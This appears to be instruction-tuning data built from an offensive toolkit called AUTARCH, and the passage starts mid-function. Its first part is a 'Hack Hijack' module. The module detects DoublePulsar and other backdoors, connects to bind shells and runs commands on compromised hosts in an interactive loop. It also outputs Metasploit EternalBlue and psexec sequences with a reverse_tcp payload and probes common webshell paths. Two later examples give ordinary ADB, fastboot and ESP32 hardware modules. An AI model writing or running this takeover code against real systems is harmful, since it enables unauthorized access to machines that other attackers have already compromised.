                b'\x00\x00\x0c\x00\x00\x00\x00\x00'
            )
            sock.send(trans2)
            resp = sock.recv(1024)
            sock.close()

            if len(resp) >= 36:
                # Check multiplex ID — DoublePulsar modifies it
                mid = struct.unpack('<H', resp[34:36])[0]
                if mid != 0x0041 and mid != 0x0000 and mid != 0x0800:
                    # Non-standard MID response — likely DoublePulsar
                    arch = 'x86' if (mid & 0x01) else 'x64'
                    return BackdoorHit(
                        signature='DoublePulsar SMB Backdoor (CONFIRMED)',
                        port=445,
                        confidence='high',
                        details=f'DoublePulsar implant detected (arch: {arch}, '
                                f'MID=0x{mid:04x}). System was exploited via EternalBlue.',
                        category='eternalblue',
                        takeover_method='doublepulsar_inject',
                    )
        except Exception:
            pass
        return None

    # ── Nmap Integration ──────────────────────────────────────────────────

    def _nmap_scan(self, host: str, ports: set, timeout: float) -> Optional[dict]:
        """Use nmap for comprehensive scan if available."""
        nmap = find_tool('nmap')
        if not nmap:
            return None
        try:
            port_str = ','.join(str(p) for p in sorted(ports))
            cmd = [nmap, '-Pn', '-sV', '-O', '--version-intensity', '5',
                   '-p', port_str, '-oN', '-', host]
            result = subprocess.run(cmd, capture_output=True, text=True,
                                    timeout=120)
            output = result.stdout
            parsed_ports = []
            os_guess = ''

            for line in output.splitlines():
                # Parse port lines: "445/tcp open  microsoft-ds"
                if '/tcp' in line or '/udp' in line:
                    parts = line.split()
                    if len(parts) >= 3:
                        port_proto = parts[0].split('/')
                        if len(port_proto) == 2 and parts[1] == 'open':
                            parsed_ports.append(PortResult(
                                port=int(port_proto[0]),
                                protocol=port_proto[1],
                                state='open',
                                service=' '.join(parts[2:]),
                            ))
                if 'OS details:' in line:
                    os_guess = line.split('OS details:')[1].strip()
                elif 'Running:' in line:
                    os_guess = os_guess or line.split('Running:')[1].strip()

            return {
                'ports': parsed_ports,
                'os': os_guess,
                'raw': output,
            }
        except Exception:
            return None

    # ── Takeover Methods ──────────────────────────────────────────────────

    def connect_raw_shell(self, host: str, port: int,
                          timeout: float = 5.0) -> dict:
        """Connect to a raw bind shell (netcat-style)."""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            sock.connect((host, port))
            # Try to get initial output
            try:
                sock.settimeout(2.0)
                initial = sock.recv(4096).decode('utf-8', errors='replace')
            except Exception:
                initial = ''
            session_id = f'shell_{host}_{port}_{int(time.time())}'
            self._active_sessions[session_id] = {
                'type': 'raw_shell',
                'host': host,
                'port': port,
                'socket': sock,
                'connected_at': datetime.now(timezone.utc).isoformat(),
            }
            return {
                'ok': True,
                'session_id': session_id,
                'initial_output': initial,
                'message': f'Connected to bind shell at {host}:{port}',
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def shell_execute(self, session_id: str, command: str,
                      timeout: float = 10.0) -> dict:
        """Execute a command on an active shell session."""
        session = self._active_sessions.get(session_id)
        if not session:
            return {'ok': False, 'error': 'Session not found'}
        sock = session.get('socket')
        if not sock:
            return {'ok': False, 'error': 'No socket for session'}
        try:
            sock.settimeout(timeout)
            sock.send((command + '\n').encode())
            time.sleep(0.5)
            output = b''
            sock.settimeout(2.0)
            while True:
                try:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    output += chunk
                except socket.timeout:
                    break
            return {
                'ok': True,
                'output': output.decode('utf-8', errors='replace'),
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def close_session(self, session_id: str) -> dict:
        """Close an active session."""
        session = self._active_sessions.pop(session_id, None)
        if not session:
            return {'ok': False, 'error': 'Session not found'}
        sock = session.get('socket')
        if sock:
            try:
                sock.close()
            except Exception:
                pass
        return {'ok': True, 'message': 'Session closed'}

    def list_sessions(self) -> List[dict]:
        """List active takeover sessions."""
        return [
            {
                'session_id': sid,
                'type': s['type'],
                'host': s['host'],
                'port': s['port'],
                'connected_at': s['connected_at'],
            }
            for sid, s in self._active_sessions.items()
        ]

    def attempt_takeover(self, host: str, backdoor: dict) -> dict:
        """Attempt to take over a detected backdoor.

        Routes to the appropriate takeover method based on the signature.
        """
        method = backdoor.get('takeover_method', '')
        port = backdoor.get('port', 0)

        if method == 'raw_shell':
            return self.connect_raw_shell(host, port)

        if method == 'meterpreter_connect':
            return self._takeover_via_msf(host, port, 'meterpreter')

        if method == 'meterpreter_session':
            return self._takeover_via_msf(host, port, 'meterpreter')

        if method == 'doublepulsar_inject':
            return self._takeover_doublepulsar(host)

        if method == 'ssh_connect':
            return {'ok': False,
                    'message': f'SSH detected on {host}:{port}. '
                               'Use Offense → Reverse Shell for SSH access, '
                               'or try default credentials.'}

        if method == 'webshell_detect':
            return self._detect_webshell(host, port)

        if method == 'socks_connect':
            return {'ok': True,
                    'message': f'SOCKS proxy at {host}:{port}. '
                               f'Configure proxychains: socks5 {host} {port}'}

        if method == 'http_proxy_use':
            return {'ok': True,
                    'message': f'HTTP proxy at {host}:{port}. '
                               f'export http_proxy=http://{host}:{port}'}

        if method == 'generic_connect':
            return self.connect_raw_shell(host, port)

        return {'ok': False, 'error': f'No takeover handler for method: {method}'}

    def _takeover_via_msf(self, host: str, port: int, payload_type: str) -> dict:
        """Attempt takeover using Metasploit if available."""
        try:
            from core.msf_interface import get_msf_interface
            msf = get_msf_interface()
            if not msf.is_connected:
                return {'ok': False,
                        'error': 'Metasploit not connected. Connect via Offense page first.'}
            # Use multi/handler to connect to bind shell
            return {
                'ok': True,
                'message': f'Metasploit available. Create handler: '
                           f'use exploit/multi/handler; '
                           f'set PAYLOAD windows/meterpreter/bind_tcp; '
                           f'set RHOST {host}; set LPORT {port}; exploit',
                'msf_command': f'use exploit/multi/handler\n'
                               f'set PAYLOAD windows/meterpreter/bind_tcp\n'
                               f'set RHOST {host}\nset LPORT {port}\nexploit',
            }
        except ImportError:
            return {'ok': False, 'error': 'Metasploit module not available'}

    def _takeover_doublepulsar(self, host: str) -> dict:
        """Provide DoublePulsar exploitation guidance."""
        return {
            'ok': True,
            'message': f'DoublePulsar detected on {host}:445. Use Metasploit:\n'
                       f'  use exploit/windows/smb/ms17_010_eternalblue\n'
                       f'  set RHOSTS {host}\n'
                       f'  set PAYLOAD windows/x64/meterpreter/reverse_tcp\n'
                       f'  set LHOST <your-ip>\n'
                       f'  exploit\n\n'
                       f'Or inject DLL via existing DoublePulsar implant:\n'
                       f'  use exploit/windows/smb/ms17_010_psexec\n'
                       f'  set RHOSTS {host}\n'
                       f'  exploit',
            'msf_command': f'use exploit/windows/smb/ms17_010_eternalblue\n'
                           f'set RHOSTS {host}\n'
                           f'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n'
                           f'exploit',
        }

    def _detect_webshell(self, host: str, port: int) -> dict:
        """Probe HTTP service for common web shells."""
        shells_found = []
        common_paths = [
            '/cmd.php', '/shell.php', '/c99.php', '/r57.php',
            '/webshell.php', '/backdoor.php', '/upload.php',
            '/cmd.asp', '/shell.asp', '/cmd.aspx', '/shell.aspx',
            '/cmd.jsp', '/shell.jsp',
            '/.hidden/shell.php', '/images/shell.php',
            '/uploads/shell.php', '/tmp/shell.php',
            '/wp-content/uploads/shell.php',
            '/wp-includes/shell.php',
        ]
        try:
            import requests as req
            for path in common_paths:
                try:
                    r = req.get(f'http://{host}:{port}{path}', timeout=3,
                                allow_redirects=False)
                    if r.status_code == 200 and len(r.text) > 0:
                        # Check if it looks like a shell
                        text = r.text.lower()
                        indicators = ['execute', 'command', 'shell', 'system(',
                                      'passthru', 'exec(', 'cmd', 'uname',
                                      'phpinfo', 'eval(']
                        if any(ind in text for ind in indicators):
                            shells_found.append({
                                'path': path,
                                'size': len(r.text),
                                'status': r.status_code,
                            })
                except Exception:
                    continue
        except ImportError:
            return {'ok': False, 'error': 'requests library not available for web shell detection'}

        if shells_found:
            return {
                'ok': True,
                'message': f'Found {len(shells_found)} web shell(s) on {host}:{port}',
                'shells': shells_found,
            }
        return {
            'ok': True,
            'message': f'No common web shells found on {host}:{port}',
            'shells': [],
        }

    # ── History ───────────────────────────────────────────────────────────

    def get_scan_history(self) -> List[dict]:
        return list(reversed(self._scans))

    def clear_history(self) -> dict:
        self._scans.clear()
        self._save_scans()
        return {'ok': True, 'message': 'Scan history cleared'}

# ── Singleton ─────────────────────────────────────────────────────────────────

_instance = None
_lock = threading.Lock()

def get_hack_hijack() -> HackHijackService:
    global _instance
    if _instance is None:
        with _lock:
            if _instance is None:
                _instance = HackHijackService()
    return _instance

# ── CLI ───────────────────────────────────────────────────────────────────────

def run():
    """Interactive CLI for Hack Hijack."""
    svc = get_hack_hijack()

    while True:
        print("\n╔═══════════════════════════════════════╗")
        print("║        HACK HIJACK — Takeover         ║")
        print("╠═══════════════════════════════════════╣")
        print("║  1 — Quick Scan (backdoor ports)      ║")
        print("║  2 — Full Scan (all suspicious)       ║")
        print("║  3 — Nmap Deep Scan                   ║")
        print("║  4 — View Scan History                ║")
        print("║  5 — Active Sessions                  ║")
        print("║  0 — Back                             ║")
        print("╚═══════════════════════════════════════╝")

        choice = input("\n  Select: ").strip()

        if choice == '0':
            break
        elif choice in ('1', '2', '3'):
            target = input("  Target IP: ").strip()
            if not target:
                continue
            scan_type = {'1': 'quick', '2': 'full', '3': 'nmap'}[choice]
            print(f"\n  Scanning {target} ({scan_type})...")

            def progress(current, total):
                print(f"    [{current}/{total}] ports scanned", end='\r')

            result = svc.scan_target(target, scan_type=scan_type,
                                     progress_cb=progress)
            print(f"\n  Scan complete in {result.duration:.1f}s")
            print(f"  Open ports: {len(result.open_ports)}")

            if result.open_ports:
                print("\n  PORT      STATE   SERVICE    BANNER")
                print("  " + "-" * 60)
                for p in result.open_ports:
                    banner = p.banner[:40] if p.banner else ''
                    print(f"  {p.port:<9} {p.state:<7} {p.service:<10} {banner}")

            if result.backdoors:
                print(f"\n  BACKDOOR INDICATORS ({len(result.backdoors)}):")
                print("  " + "-" * 60)
                for i, bd in enumerate(result.backdoors, 1):
                    color = {'high': '\033[91m', 'medium': '\033[93m',
                             'low': '\033[90m'}.get(bd.confidence, '')
                    reset = '\033[0m'
                    print(f"  {i}. {color}[{bd.confidence.upper()}]{reset} "
                          f"{bd.signature} (port {bd.port})")
                    if bd.details:
                        print(f"     {bd.details}")

                # Offer takeover
                try:
                    sel = input("\n  Attempt takeover? Enter # (0=skip): ").strip()
                    if sel and sel != '0':
                        idx = int(sel) - 1
                        if 0 <= idx < len(result.backdoors):
                            bd = result.backdoors[idx]
                            bd_dict = {
                                'port': bd.port,
                                'takeover_method': bd.takeover_method,
                            }
                            r = svc.attempt_takeover(target, bd_dict)
                            if r.get('ok'):
                                print(f"\n  {r.get('message', 'Success')}")
                                if r.get('session_id'):
                                    print(f"  Session: {r['session_id']}")
                                    # Interactive shell
                                    while True:
                                        cmd = input(f"  [{target}]$ ").strip()
                                        if cmd in ('exit', 'quit', ''):
                                            svc.close_session(r['session_id'])
                                            break
                                        out = svc.shell_execute(r['session_id'], cmd)
                                        if out.get('ok'):
                                            print(out.get('output', ''))
                                        else:
                                            print(f"  Error: {out.get('error')}")
                            else:
                                print(f"\n  Failed: {r.get('error', 'Unknown error')}")
                except (ValueError, IndexError):
                    pass

            if result.smb_info.get('vulnerable'):
                print("\n  [!] SMB MS17-010 (EternalBlue) VULNERABLE")
                print(f"      OS: {result.smb_info.get('os', 'unknown')}")
                print(f"      Signing: {result.smb_info.get('signing', 'unknown')}")

            if result.os_guess:
                print(f"\n  OS Guess: {result.os_guess}")

        elif choice == '4':
            history = svc.get_scan_history()
            if not history:
                print("\n  No scan history.")
                continue
            print(f"\n  Scan History ({len(history)} scans):")
            for i, scan in enumerate(history[:20], 1):
                bds = len(scan.get('backdoors', []))
                high = sum(1 for b in scan.get('backdoors', [])
                           if b.get('confidence') == 'high')
                print(f"  {i}. {scan['target']} — "
                      f"{len(scan.get('open_ports', []))} open, "
                      f"{bds} indicators ({high} high) — "
                      f"{scan['scan_time'][:19]}")

        elif choice == '5':
            sessions = svc.list_sessions()
            if not sessions:
                print("\n  No active sessions.")
                continue
            print(f"\n  Active Sessions ({len(sessions)}):")
            for s in sessions:
                print(f"  {s['session_id']} — {s['type']} → "
                      f"{s['host']}:{s['port']} "
                      f"(since {s['connected_at'][:19]})")


Instruction: Create an AUTARCH module in the 'hardware' category that physical device access (adb/fastboot/serial). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: hardware_local
Category: hardware
Description: Physical device access (ADB/Fastboot/Serial)

Output:
"""
Hardware Local - Physical device access (ADB/Fastboot/Serial)
Direct access to USB-connected devices on this machine.
"""

DESCRIPTION = "Physical device access (ADB/Fastboot/Serial)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "hardware"

class HardwareLocal:
    """Interactive hardware access menu."""

    def __init__(self):
        from core.hardware import get_hardware_manager
        self.mgr = get_hardware_manager()

    def show_menu(self):
        status = self.mgr.get_status()
        print(f"\n{'='*50}")
        print("  Hardware Access (Local)")
        print(f"{'='*50}")
        print(f"  ADB:      {'Available' if status['adb'] else 'Not found'}")
        print(f"  Fastboot: {'Available' if status['fastboot'] else 'Not found'}")
        print(f"  Serial:   {'Available' if status['serial'] else 'Not installed'}")
        print(f"  ESPTool:  {'Available' if status['esptool'] else 'Not installed'}")
        print()
        print("  1) List ADB Devices")
        print("  2) ADB Device Info")
        print("  3) ADB Shell")
        print("  4) ADB Sideload/Install")
        print("  5) List Fastboot Devices")
        print("  6) Fastboot Device Info")
        print("  7) Fastboot Flash Partition")
        print("  8) List Serial Ports")
        print("  9) Detect ESP Chip")
        print(" 10) Flash ESP32 Firmware")
        print("  0) Back")
        print()

    def _pick_device(self, devices, label="device"):
        if not devices:
            print(f"  No {label}s found.")
            return None
        if len(devices) == 1:
            return devices[0]['serial']
        print(f"\n  Select {label}:")
        for i, d in enumerate(devices, 1):
            extra = d.get('model', '') or d.get('state', '')
            print(f"    {i}) {d['serial']} {extra}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                return devices[choice - 1]['serial']
        except (ValueError, EOFError):
            pass
        return None

    def list_adb_devices(self):
        devices = self.mgr.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return
        print(f"\n  {'Serial':<20} {'State':<12} {'Model':<15} {'Product'}")
        print(f"  {'-'*60}")
        for d in devices:
            print(f"  {d['serial']:<20} {d['state']:<12} {d.get('model',''):<15} {d.get('product','')}")

    def adb_device_info(self):
        devices = self.mgr.adb_devices()
        serial = self._pick_device(devices, "ADB device")
        if not serial:
            return
        info = self.mgr.adb_device_info(serial)
        print(f"\n  Device Info: {serial}")
        print(f"  {'-'*40}")
        for k, v in info.items():
            print(f"  {k:<20} {v}")

    def adb_shell(self):
        devices = self.mgr.adb_devices()
        serial = self._pick_device(devices, "ADB device")
        if not serial:
            return
        print(f"  ADB Shell ({serial}) - type 'exit' to quit")
        while True:
            try:
                cmd = input(f"  {serial}$ ").strip()
            except (EOFError, KeyboardInterrupt):
                break
            if cmd.lower() in ('exit', 'quit', ''):
                break
            result = self.mgr.adb_shell(serial, cmd)
            if result['output']:
                print(result['output'])

    def adb_sideload(self):
        devices = self.mgr.adb_devices()
        serial = self._pick_device(devices, "ADB device")
        if not serial:
            return
        try:
            filepath = input("  File path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not filepath:
            return
        result = self.mgr.adb_sideload(serial, filepath)
        if result.get('success'):
            print(f"  Sideload started (op: {result['op_id']})")
            # Poll progress
            import time
            while True:
                time.sleep(1)
                prog = self.mgr.get_operation_progress(result['op_id'])
                print(f"  [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r')
                if prog.get('status') in ('done', 'error'):
                    print()
                    break
        else:
            print(f"  Error: {result.get('error', 'Unknown error')}")

    def list_fastboot_devices(self):
        devices = self.mgr.fastboot_devices()
        if not devices:
            print("  No Fastboot devices connected.")
            return
        print(f"\n  {'Serial':<25} {'State'}")
        print(f"  {'-'*35}")
        for d in devices:
            print(f"  {d['serial']:<25} {d['state']}")

    def fastboot_device_info(self):
        devices = self.mgr.fastboot_devices()
        serial = self._pick_device(devices, "Fastboot device")
        if not serial:
            return
        info = self.mgr.fastboot_device_info(serial)
        print(f"\n  Fastboot Info: {serial}")
        print(f"  {'-'*40}")
        for k, v in info.items():
            print(f"  {k:<20} {v}")

    def fastboot_flash(self):
        devices = self.mgr.fastboot_devices()
        serial = self._pick_device(devices, "Fastboot device")
        if not serial:
            return
        try:
            partition = input("  Partition (boot/recovery/system/vendor): ").strip()
            filepath = input("  Firmware path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not partition or not filepath:
            return
        result = self.mgr.fastboot_flash(serial, partition, filepath)
        if result.get('success'):
            print(f"  Flash started (op: {result['op_id']})")
            import time
            while True:
                time.sleep(1)
                prog = self.mgr.get_operation_progress(result['op_id'])
                print(f"  [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r')
                if prog.get('status') in ('done', 'error'):
                    print()
                    break
        else:
            print(f"  Error: {result.get('error', 'Unknown error')}")

    def list_serial_ports(self):
        ports = self.mgr.list_serial_ports()
        if not ports:
            print("  No serial ports found.")
            return
        print(f"\n  {'Port':<20} {'Description':<30} {'VID:PID'}")
        print(f"  {'-'*60}")
        for p in ports:
            vid_pid = f"{p['vid']}:{p['pid']}" if p['vid'] else ''
            print(f"  {p['port']:<20} {p['desc']:<30} {vid_pid}")

    def detect_esp(self):
        ports = self.mgr.list_serial_ports()
        if not ports:
            print("  No serial ports found.")
            return
        print("  Select port:")
        for i, p in enumerate(ports, 1):
            print(f"    {i}) {p['port']} - {p['desc']}")
        try:
            choice = int(input("  > ").strip())
            port = ports[choice - 1]['port']
        except (ValueError, IndexError, EOFError):
            return
        result = self.mgr.detect_esp_chip(port)
        if result.get('success'):
            print(f"  Chip: {result['chip']}")
            print(f"  ID: {result.get('chip_id', 'N/A')}")
        else:
            print(f"  Error: {result.get('error', 'Detection failed')}")

    def flash_esp(self):
        ports = self.mgr.list_serial_ports()
        if not ports:
            print("  No serial ports found.")
            return
        print("  Select port:")
        for i, p in enumerate(ports, 1):
            print(f"    {i}) {p['port']} - {p['desc']}")
        try:
            choice = int(input("  > ").strip())
            port = ports[choice - 1]['port']
            firmware = input("  Firmware path: ").strip()
        except (ValueError, IndexError, EOFError):
            return
        if not firmware:
            return
        result = self.mgr.flash_esp(port, firmware)
        if result.get('success'):
            print(f"  Flash started (op: {result['op_id']})")
            import time
            while True:
                time.sleep(1)
                prog = self.mgr.get_operation_progress(result['op_id'])
                print(f"  [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r')
                if prog.get('status') in ('done', 'error'):
                    print()
                    break
        else:
            print(f"  Error: {result.get('error', 'Flash failed')}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break
            actions = {
                '1': self.list_adb_devices,
                '2': self.adb_device_info,
                '3': self.adb_shell,
                '4': self.adb_sideload,
                '5': self.list_fastboot_devices,
                '6': self.fastboot_device_info,
                '7': self.fastboot_flash,
                '8': self.list_serial_ports,
                '9': self.detect_esp,
                '10': self.flash_esp,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    hw = HardwareLocal()
    hw.run_interactive()


Instruction: Create an AUTARCH module in the 'hardware' category that remote physical device access (via web ui). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: hardware_remote
Category: hardware
Description: Remote physical device access (via web UI)

Output:
"""
Hardware Remote - Remote physical device access via web UI
Devices connected to the AUTARCH server are accessible through the web browser.
"""

DESCRIPTION = "Remote physical device access (via web UI)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "hardware"

def run():
    print("\n  Hardware Remote Access")
    print("  " + "=" * 40)
    print("  Remote hardware access is available through the web UI.")
    print("  Devices plugged into this server (USB/Serial) can be")
    print("  managed remotely via your browser.")
    print()
    print("  Start the web server with: python3 autarch.py --web")
    print("  Then navigate to: http://<server-ip>:5000/hardware")
    print()
    print("  Supported devices:")
    print("    - Android (ADB/Fastboot)")
    print("    - ESP32 (Serial flash/monitor)")
    print()